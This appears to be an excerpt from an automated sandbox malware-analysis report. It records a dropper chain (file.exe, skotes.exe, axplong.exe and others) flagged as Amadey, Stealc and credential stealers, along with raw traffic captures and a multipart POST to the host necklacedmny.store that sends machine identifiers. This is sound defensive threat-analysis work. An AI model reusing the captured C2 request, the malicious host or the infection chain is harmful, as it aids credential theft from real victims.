2024-10-29 19:37:29 UTC	1369	IN	Data Raw: 31 7a 62 77 4c 62 67 58 43 74 72 39 4c 75 48 70 31 55 73 54 62 75 6a 31 6a 53 44 7a 73 73 6b 4f 78 43 6d 46 49 35 32 57 56 46 6e 36 65 2b 43 68 64 50 2b 72 34 72 67 79 74 4d 6e 35 5a 6c 6f 37 2f 4e 47 46 47 4e 2b 53 74 54 72 45 48 5a 77 69 76 4c 5a 6f 4a 4d 73 69 32 48 57 59 4a 79 62 61 2b 53 72 31 32 65 46 48 53 32 72 68 31 4a 77 45 2b 2b 50 38 59 34 79 46 6a 45 72 4e 6e 76 41 55 2b 77 61 67 5a 64 55 6a 57 39 71 67 43 73 33 34 35 44 5a 62 53 74 44 39 67 51 6a 44 6b 73 6b 43 71 42 6d 6b 41 70 43 32 41 44 7a 54 55 76 41 70 76 42 38 4f 38 75 55 36 37 66 6e 31 48 33 5a 62 78 64 57 35 5a 65 62 6a 2f 59 4b 67 66 51 78 71 37 5a 59 31 41 4a 34 61 2f 41 79 35 51 69 62 47 39 51 37 56 34 66 31 37 54 32 37 38 77 59 30 59 31 34 4c 39 44 70 51 39 74 41 4b 45 70 6e 67 Data Ascii: 1zbwLbgXCtr9LuHp1UsTbuj1jSDzsskOxCmFI52WVFn6e+ChdP+r4rgytMn5Zlo7/NGFGN+StTrEHZwivLZoJMsi2HWYJyba+Sr12eFHS2rh1JwE++P8Y4yFjErNnvAU+wagZdUjW9qgCs345DZbStD9gQjDkskCqBmkApC2ADzTUvApvB8O8uU67fn1H3ZbxdW5Zebj/YKgfQxq7ZY1AJ4a/Ay5QibG9Q7V4f17T278wY0Y14L9DpQ9tAKEpng
2024-10-29 19:37:29 UTC	1369	IN	Data Raw: 42 32 55 4f 78 37 6d 33 54 72 6b 79 4e 78 58 52 7a 76 39 74 4b 57 59 6a 37 62 6c 58 73 6a 78 6e 43 50 68 6c 6a 55 41 6e 68 72 38 44 4c 6c 43 4a 74 62 31 49 75 58 64 39 58 64 48 56 76 6a 6c 74 54 44 54 6b 74 6b 53 6d 47 33 49 4f 70 79 57 64 41 44 48 4b 71 67 46 72 43 4d 58 34 2f 77 4b 7a 61 6a 6b 4e 6c 75 65 6f 4e 53 6c 65 64 2f 6e 2f 52 36 39 4a 4f 45 69 6d 4b 49 41 43 4d 63 61 35 44 47 6f 44 7a 72 36 33 51 37 64 33 65 6c 44 51 31 37 38 35 59 30 59 78 36 72 46 4e 70 51 31 6d 44 75 6c 72 30 67 6b 6d 68 75 42 50 58 41 58 48 73 62 4a 45 75 57 52 52 5a 4a 62 4a 38 53 77 70 52 6a 57 67 35 77 43 6e 41 6d 67 45 72 43 32 58 44 7a 62 4d 73 41 42 68 47 73 69 33 75 45 57 2f 66 33 5a 62 30 39 69 74 4d 6d 4a 4b 4d 65 6d 78 52 75 4e 48 49 41 2b 78 5a 63 70 4f 43 4d 57 Data Ascii: B2UOx7m3TrkyNxXRzv9tKWYj7blXsjxnCPhljUAnhr8DLlCJtb1IuXd9XdHVvjltTDTktkSmG3IOpyWdADHKqgFrCMX4/wKzajkNlueoNSled/n/R69JOEimKIACMca5DGoDzr63Q7d3elDQ1785Y0Yx6rFNpQ1mDulr0gkmhuBPXAXHsbJEuWRRZJbJ8SwpRjWg5wCnAmgErC2XDzbMsABhGsi3uEW/f3Zb09itMmJKMemxRuNHIA+xZcpOCMW
2024-10-29 19:37:29 UTC	1369	IN	Data Raw: 4d 32 32 6f 30 4f 37 4d 6a 63 56 30 63 37 2f 62 53 6c 77 4c 2b 65 34 54 2b 45 67 5a 78 4f 6f 4c 35 45 46 4d 6f 61 6e 51 58 64 49 7a 72 54 78 47 76 52 2f 64 56 6a 53 78 4c 4d 31 61 55 67 2b 36 71 31 50 72 41 52 6a 43 4b 77 33 6b 78 77 78 7a 62 30 4d 61 67 66 47 74 4c 6c 49 39 44 77 35 55 73 36 57 35 33 56 46 51 69 6a 71 2f 57 65 35 48 32 63 45 75 43 36 66 41 6e 37 5a 39 68 59 75 44 38 58 34 36 51 4b 30 63 33 52 48 30 39 65 31 50 32 52 4a 4e 75 57 36 54 36 63 4e 61 77 61 37 4b 35 30 4f 4f 4d 32 35 43 6d 30 44 77 37 61 34 55 50 51 38 4f 56 4c 4f 6c 75 64 31 51 31 6f 34 37 62 4d 43 6a 51 4a 32 44 2b 73 45 6e 41 55 35 79 71 35 50 63 55 62 51 2b 4c 5a 4f 39 43 6f 35 58 4e 6a 61 76 44 4a 68 53 54 7a 67 74 45 43 73 41 32 34 50 75 79 2b 65 42 43 7a 4a 75 77 4a 71 Data Ascii: M22o0O7MjcV0c7/bSlwL+e4T+EgZxOoL5EFMoanQXdIzrTxGvR/dVjSxLM1aUg+6q1PrARjCKw3kxwxzb0MagfGtLlI9Dw5Us6W53VFQijq/We5H2cEuC6fAn7Z9hYuD8X46QK0c3RH09e1P2RJNuW6T6cNawa7K50OOM25Cm0Dw7a4UPQ8OVLOlud1Q1o47bMCjQJ2D+sEnAU5yq5PcUbQ+LZO9Co5XNjavDJhSTzgtECsA24Puy+eBCzJuwJq
2024-10-29 19:37:29 UTC	1369	IN	Data Raw: 67 43 73 33 34 35 44 5a 62 57 75 7a 6c 71 52 6a 66 76 73 6b 2b 6b 41 6d 38 43 70 7a 65 64 43 7a 62 4b 73 41 4a 38 41 73 4f 71 75 45 75 35 66 48 46 48 31 5a 62 78 64 57 35 5a 65 62 6a 2f 63 71 6b 4b 62 42 36 6b 4b 74 49 52 63 4e 2f 34 43 47 4a 49 6b 66 69 6a 55 4c 52 35 65 56 4c 59 78 4c 34 39 5a 6b 73 35 35 72 52 4b 6f 41 42 6b 42 71 41 6a 6b 77 4d 2f 78 37 67 4b 62 67 48 62 74 66 45 4d 39 48 56 68 46 59 36 57 69 44 6c 69 63 44 72 32 2f 31 2f 74 45 43 41 50 70 57 58 4b 54 6a 2f 55 74 51 64 71 43 4d 53 2b 75 6b 4f 31 63 58 6c 56 31 64 61 36 50 6d 5a 48 50 75 32 31 53 61 6f 62 61 41 79 37 4a 5a 34 4b 66 6f 6a 34 43 48 5a 49 6b 66 69 42 51 62 39 2b 65 56 6a 44 6c 71 42 37 63 41 45 2b 37 50 38 59 34 77 46 72 41 36 38 75 6b 51 30 77 7a 62 49 41 59 51 4c 50 76 Data Ascii: gCs345DZbWuzlqRjfvsk+kAm8CpzedCzbKsAJ8AsOquEu5fHFH1ZbxdW5Zebj/cqkKbB6kKtIRcN/4CGJIkfijULR5eVLYxL49Zks55rRKoABkBqAjkwM/x7gKbgHbtfEM9HVhFY6WiDlicDr2/1/tECAPpWXKTj/UtQdqCMS+ukO1cXlV1da6PmZHPu21SaobaAy7JZ4Kfoj4CHZIkfiBQb9+eVjDlqB7cAE+7P8Y4wFrA68ukQ0wzbIAYQLPv
2024-10-29 19:37:29 UTC	1369	IN	Data Raw: 2f 63 6c 6d 55 31 37 49 6c 62 67 46 33 6f 4c 6b 41 2b 31 6b 75 53 4b 30 30 30 6c 5a 75 6c 4f 4e 61 50 56 2b 5a 36 71 34 4d 72 54 4a 76 46 59 36 45 38 58 56 37 41 57 47 67 2b 45 4f 78 47 32 59 4c 76 79 62 56 4d 41 44 6d 73 77 4e 74 42 4d 69 2f 38 51 7a 30 66 54 6b 4e 37 35 61 38 4a 33 73 4f 4b 50 61 79 55 4b 52 46 61 42 6d 6b 4b 64 4a 41 66 6f 71 38 42 47 49 4e 7a 71 6a 2b 55 4b 52 35 64 55 4f 61 30 71 31 31 4a 77 45 6f 36 37 42 53 72 51 34 76 47 62 38 6f 67 67 30 37 77 66 51 48 66 77 58 46 2b 50 38 43 6f 58 6c 31 55 39 76 44 38 43 52 2f 51 69 2f 6e 38 30 69 79 42 47 78 49 6c 6d 76 53 46 6e 36 65 2b 44 70 74 42 73 65 2f 70 31 50 35 55 6e 4a 5a 31 64 71 2b 4d 69 6b 50 65 65 62 2f 47 50 42 48 49 41 79 34 5a 63 70 65 62 4a 33 74 58 44 6c 59 6d 36 66 2f 57 2f Data Ascii: /clmU17IlbgF3oLkA+1kuSK000lZulONaPV+Z6q4MrTJvFY6E8XV7AWGg+EOxG2YLvybVMADmswNtBMi/8Qz0fTkN75a8J3sOKPayUKRFaBmkKdJAfoq8BGINzqj+UKR5dUOa0q11JwEo67BSrQ4vGb8ogg07wfQHfwXF+P8CoXl1U9vD8CR/Qi/n80iyBGxIlmvSFn6e+DptBse/p1P5UnJZ1dq+MikPeeb/GPBHIAy4ZcpebJ3tXDlYm6f/W/
2024-10-29 19:37:29 UTC	1369	IN	Data Raw: 6a 6f 58 78 64 58 73 42 59 61 44 34 54 71 34 49 59 77 61 71 4e 34 41 49 50 64 43 37 53 46 41 32 37 4c 57 38 52 37 70 31 52 32 76 33 33 4b 38 34 5a 6b 59 48 33 6f 68 52 70 42 6b 69 4c 71 6f 7a 6b 55 35 77 68 71 42 50 4e 6b 6a 6f 73 71 46 50 75 33 55 35 47 35 62 53 2f 32 30 70 5a 44 54 74 75 6b 36 6b 53 30 45 43 75 53 69 64 43 58 36 49 2b 41 4d 75 55 49 6d 35 75 31 4b 35 66 58 34 5a 30 63 79 34 64 53 63 42 4e 36 44 6e 41 4b 49 44 63 41 57 6d 49 74 34 49 4d 4d 6a 34 45 43 41 52 69 61 37 78 47 75 63 38 4f 55 65 57 6a 76 39 79 5a 30 77 34 34 37 46 44 73 52 74 6d 43 37 38 6d 31 54 41 41 34 37 55 43 61 77 62 4f 68 6f 39 6a 76 6d 4a 30 57 74 47 55 6e 7a 4a 2f 51 67 66 65 69 46 47 6b 47 53 49 75 71 6a 4f 52 54 6e 43 47 6f 45 38 32 53 4f 69 79 6f 55 2b 37 64 54 74 Data Ascii: joXxdXsBYaD4Tq4IYwaqN4AIPdC7SFA27LW8R7p1R2v33K84ZkYH3ohRpBkiLqozkU5whqBPNkjosqFPu3U5G5bS/20pZDTtuk6kS0ECuSidCX6I+AMuUIm5u1K5fX4Z0cy4dScBN6DnAKIDcAWmIt4IMMj4ECARia7xGuc8OUeWjv9yZ0w447FDsRtmC78m1TAA47UCawbOho9jvmJ0WtGUnzJ/QgfeiFGkGSIuqjORTnCGoE82SOiyoU+7dTt

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	50021	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:29 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-29 19:37:29 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen

Target ID:	0
Start time:	15:35:08
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5b0000
File size:	2'959'872 bytes
MD5 hash:	AADFE832C4D1EB7C9455494309E56B52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1550531909.0000000001109000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:35:43
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe"
Imagebase:	0x610000
File size:	2'850'304 bytes
MD5 hash:	CC3379571644FA87BA60176E4E11716C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:35:45
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe"
Imagebase:	0xfc0000
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.1764901997.0000000000FC1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.1724002406.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:35:49
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xfc0000
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.1757220025.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.1798970839.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:36:00
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xfc0000
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1866390833.0000000004960000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:36:10
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	15:36:20
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xfc0000
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2249103962.00000000019F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2194128848.00000000019EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:36:31
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001698001\8301009305.exe"
Imagebase:	0x260000
File size:	1'905'152 bytes
MD5 hash:	0F45CF13F5CB53F19189B406384DAFE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2232884858.0000000000261000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2192573063.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:36:33
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x180000
File size:	1'905'152 bytes
MD5 hash:	0F45CF13F5CB53F19189B406384DAFE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2223001037.0000000004850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2263637802.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:36:35
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x180000
File size:	1'905'152 bytes
MD5 hash:	0F45CF13F5CB53F19189B406384DAFE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2271659332.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2231223206.0000000004950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:36:37
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Imagebase:	0xeb0000
File size:	2'850'304 bytes
MD5 hash:	CC3379571644FA87BA60176E4E11716C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:36:41
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001776101\4264524541.exe"
Imagebase:	0x680000
File size:	2'850'304 bytes
MD5 hash:	CC3379571644FA87BA60176E4E11716C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:36:49
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Imagebase:	0xeb0000
File size:	2'850'304 bytes
MD5 hash:	CC3379571644FA87BA60176E4E11716C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:36:55
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002431001\wintoolsone64.exe"
Imagebase:	0xd50000
File size:	11'810'304 bytes
MD5 hash:	3A408188540D593A618C37FF3B9FA378
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000012.00000002.2666308747.0000000002200000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	15:36:58
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Imagebase:	0xeb0000
File size:	2'850'304 bytes
MD5 hash:	CC3379571644FA87BA60176E4E11716C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:37:00
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x180000
File size:	1'905'152 bytes
MD5 hash:	0F45CF13F5CB53F19189B406384DAFE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2481124534.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2630604720.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	15:37:02
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe"
Imagebase:	0x3f0000
File size:	2'850'304 bytes
MD5 hash:	CC3379571644FA87BA60176E4E11716C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	15:37:04
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe"
Imagebase:	0x1e0000
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2563974947.00000000001E1000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2523206093.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:37:04
Start date:	29/10/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	15:37:06
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe"
Imagebase:	0xa30000
File size:	2'930'688 bytes
MD5 hash:	CE30C177C983F9A8EF192452D20075E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.2631387587.0000000000726000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	15:37:13
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe"
Imagebase:	0x5a0000
File size:	2'127'360 bytes
MD5 hash:	264DAA04DEFC6B3CB7CD8B682DB05ACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2630286475.00000000005A1000.00000040.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000003.2613988811.0000000005000000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2643463076.000000000148C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	15:37:16
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001196001\69f64d774a.exe"
Imagebase:	0x5f0000
File size:	2'930'688 bytes
MD5 hash:	CE30C177C983F9A8EF192452D20075E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Function 058A18E4 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1551487652.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, Offset: 058A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_58a1000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2365868b169e8892d1f854f5f9e4a47ee8ae03d4106b15d0fd50ecf2e00f422d
